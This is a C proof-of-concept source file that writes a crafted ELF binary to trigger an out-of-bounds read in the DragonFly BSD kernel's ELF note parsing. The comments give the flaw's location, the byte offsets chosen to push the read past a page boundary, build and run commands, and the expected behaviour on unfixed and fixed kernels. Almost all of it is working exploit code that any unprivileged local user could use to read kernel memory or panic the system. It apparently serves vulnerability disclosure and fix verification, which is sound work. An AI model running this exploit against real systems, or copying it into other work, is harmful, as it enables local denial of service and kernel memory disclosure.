/*
 * DF-0020 PoC - ELF ABI-note descriptor out-of-bounds read.
 *
 * note_overflow() (sys/kern/imgact_elf.c:1700-1707) validates that a note's
 * n_namesz fits in the remaining PT_NOTE segment, but never validates n_descsz.
 * When a crafted, truncated .note.ABI-tag matches the DragonFly brandnote
 * (n_namesz=10 "DragonFly\0", n_descsz=4, n_type=1, vendor "DragonFly"),
 * bsd_trans_osrel() reads the 4-byte descriptor at
 *     note + sizeof(Elf_Note) + roundup2(n_namesz, 4)   == note + 24
 * A segment of p_filesz=22 passes note_overflow (12<=22 and 10<=10) yet the
 * desc read lands at note+24, 2..6 bytes past note_end -> kernel OOB read of
 * adjacent memory (or a page fault -> panic if it straddles an unmapped page).
 *
 * Trigger: any local user execve(2)s a crafted ELF; the image activator runs
 * for every local exec of an attacker-owned file, no privilege required.
 *
 * NOTE on EI_OSABI: we set EI_OSABI=200 (not ELFOSABI_NONE=0) so the brand
 * can ONLY be selected via the PT_NOTE match path (loop 1 in get_brandinfo).
 * With EI_OSABI=0, DragonFly's brand matches via EI_OSABI fallback regardless
 * of the note, masking the bug behaviorally. With EI_OSABI=200 the unfixed
 * kernel accepts the binary (note-match succeeds => OOB read happens), while
 * the FIXED kernel (n_descsz checked) rejects it with ENOEXEC ("Exec format
 * error") - a clean, deterministic before/after contrast.
 *
 * Build:  cc -o elf_note_oob elf_note_oob.c
 * Run:    ./elf_note_oob /tmp/oob_elf && chmod +x /tmp/oob_elf && /tmp/oob_elf
 *
 * Expected (bug present, UNFIXED kernel): execve SUCCEEDS - the crafted binary
 *   is loaded (brand matched via the truncated PT_NOTE, OOB read happens
 *   silently); since the binary has no PT_LOAD, control jumps to e_entry=0
 *   and the process dies with SIGSEGV. No "Exec format error".
 *
 * Expected (FIXED kernel, n_descsz checked): execve FAILS with ENOEXEC; the
 *   shell prints "Exec format error" (no segfault, no OOB).
 */

#include <err.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>

/* ELF64 layout */
#define PT_NOTE     4
#define ET_EXEC     2
#define EM_X86_64   62

typedef struct {
    unsigned char e_ident[16];
    uint16_t e_type;
    uint16_t e_machine;
    uint32_t e_version;
    uint64_t e_entry;
    uint64_t e_phoff;
    uint64_t e_shoff;
    uint32_t e_flags;
    uint16_t e_ehsize;
    uint16_t e_phentsize;
    uint16_t e_phnum;
    uint16_t e_shentsize;
    uint16_t e_shnum;
    uint16_t e_shstrndx;
} __attribute__((packed)) Elf64_Ehdr;

typedef struct {
    uint32_t p_type;
    uint32_t p_flags;
    uint64_t p_offset;
    uint64_t p_vaddr;
    uint64_t p_paddr;
    uint64_t p_filesz;
    uint64_t p_memsz;
    uint64_t p_align;
} __attribute__((packed)) Elf64_Phdr;

/* Elf_Note header ( Elf64_Note is the same layout as Elf32_Note ) */
typedef struct {
    uint32_t n_namesz;
    uint32_t n_descsz;
    uint32_t n_type;
} __attribute__((packed)) Elf_Note;

#define NAMESZ    10                  /* "DragonFly\0" */
#define DESCSZ    4                   /* brandnote claims a 4-byte desc  */
#define NTYPE     1
static const char VENDOR[NAMESZ] = "DragonFly";  /* NUL-terminated, 10 bytes */

int
main(int argc, char **argv)
{
    const char *out = argc > 1 ? argv[1] : "/tmp/oob_elf";
    unsigned char page[4096];
    Elf64_Ehdr *eh;
    Elf64_Phdr *ph;
    Elf_Note *nh;
    int fd;

    memset(page, 0, sizeof(page));

    /*
     * Choose noteloc so that:
     *   - noteloc is 4-byte aligned (the note walk's aligned(note, Elf32_Addr)
     *     check at imgact_elf.c:1778 otherwise breaks immediately);
     *   - endbyte = noteloc + notesz stays < PAGE_SIZE so we take the
     *     limited_to_first_page path (buffer = imgp->image_header, a single
     *     4096-byte page mapped via lwbuf);
     *   - yet the descriptor read at note+24..note+28 = noteloc+24..noteloc+28
     *     crosses past the 4096-byte page boundary -> kernel OOB read past
     *     the mapped lwbuf page (may fault -> panic, or silently read the
     *     adjacent kernel page).
     *
     * noteloc = 4072:  endbyte = 4094 (< 4096 OK); note+24 = 4096, note+28 = 4100
     *   -> reads 4 bytes straddling the page boundary (4096..4100). Two of
     *   those bytes (4094..4096) are still inside image_header (where they are
     *   attacker-zeroed, since we memset the page to 0); the upper two
     *   (4096..4100) are PAST the mapped page -> OOB into adjacent KVA.
     */
    size_t noteloc = 4072;
    size_t ehdr_sz = sizeof(*eh);
    size_t phoff = ehdr_sz;

    eh = (Elf64_Ehdr *)page;
    eh->e_ident[0] = 0x7f;
    eh->e_ident[1] = 'E';
    eh->e_ident[2] = 'L';
    eh->e_ident[3] = 'F';
    eh->e_ident[4] = 2;                  /* ELFCLASS64 */
    eh->e_ident[5] = 1;                  /* ELFDATA2LSB */
    eh->e_ident[6] = 1;                  /* EV_CURRENT */
    eh->e_ident[7] = 200;                /* EI_OSABI: obscure value, so brand
                                          * can ONLY be matched via PT_NOTE */
    eh->e_type   = ET_EXEC;
    eh->e_machine = EM_X86_64;
    eh->e_version = 1;
    eh->e_phoff = phoff;
    eh->e_ehsize = (uint16_t)ehdr_sz;
    eh->e_phentsize = (uint16_t)sizeof(*ph);
    eh->e_phnum = 1;

    ph = (Elf64_Phdr *)(page + phoff);
    ph->p_type   = PT_NOTE;
    ph->p_offset = noteloc;
    ph->p_filesz = sizeof(*nh) + NAMESZ; /* 22 bytes: header + name, NO desc */
    ph->p_align  = 4;

    nh = (Elf_Note *)(page + noteloc);
    nh->n_namesz = NAMESZ;
    nh->n_descsz = DESCSZ;               /* LIES: claims a 4-byte desc */
    nh->n_type   = NTYPE;
    memcpy((unsigned char *)(nh + 1), VENDOR, NAMESZ);

    fd = open(out, O_WRONLY | O_CREAT | O_TRUNC, 0755);
    if (fd < 0)
        err(1, "open %s", out);
    if (write(fd, page, 4096) != 4096)
        err(1, "write");
    close(fd);

    fprintf(stderr, "[+] wrote crafted ELF to %s\n", out);
    fprintf(stderr, "[+] PT_NOTE at offset %zu, p_filesz=%zu "
                    "(descriptor claimed %uB but truncated)\n",
                    noteloc, (size_t)ph->p_filesz, DESCSZ);
    fprintf(stderr, "[+] bsd_trans_osrel reads at note+24=%zu, end=%zu "
                    "(page ends at %d) -> OOB\n",
                    noteloc + 24, noteloc + 28, 4096);
    return 0;
}
